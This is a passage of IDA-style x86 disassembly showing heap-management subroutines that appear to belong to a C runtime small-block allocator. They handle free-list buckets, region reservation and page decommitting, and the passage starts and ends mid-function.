		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD374
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD36C
		jnz	short loc_41ED67
		and	dword_4DD374, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD378
		mov	ecx, dword_4DD368
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD37C
		push	edi
		push	dword_4DD384
		call	near ptr 2880000h
		nop
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD368, 10h
		mov	dword_4DD37C, eax
		mov	eax, dword_4DD378


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD37C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD384
		lea	esi, [ecx+eax*4]
		call	near ptr 27E0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 2670BC8h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 27D05FFh


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD378
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 2670BC8h
		nop
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE60, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE50
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD384
		call	near ptr 27E0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE50
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE50, 0
		jnz	short loc_41F296
		mov	off_43AE50, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE54, 0
		jnz	short loc_41F2BB
		mov	off_43AE54, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE54
		mov	[esi+4], eax
		mov	off_43AE54, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 2670D6Dh


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27D05FFh


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 2670D6Dh
		cmp	off_43CE70, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE70, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD384
		call	near ptr 27D05FFh
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE60, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE54
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 2670D6Dh
		nop
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE40
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE54
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE50
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE40
		cmp	dword_4DBE40, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE70
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
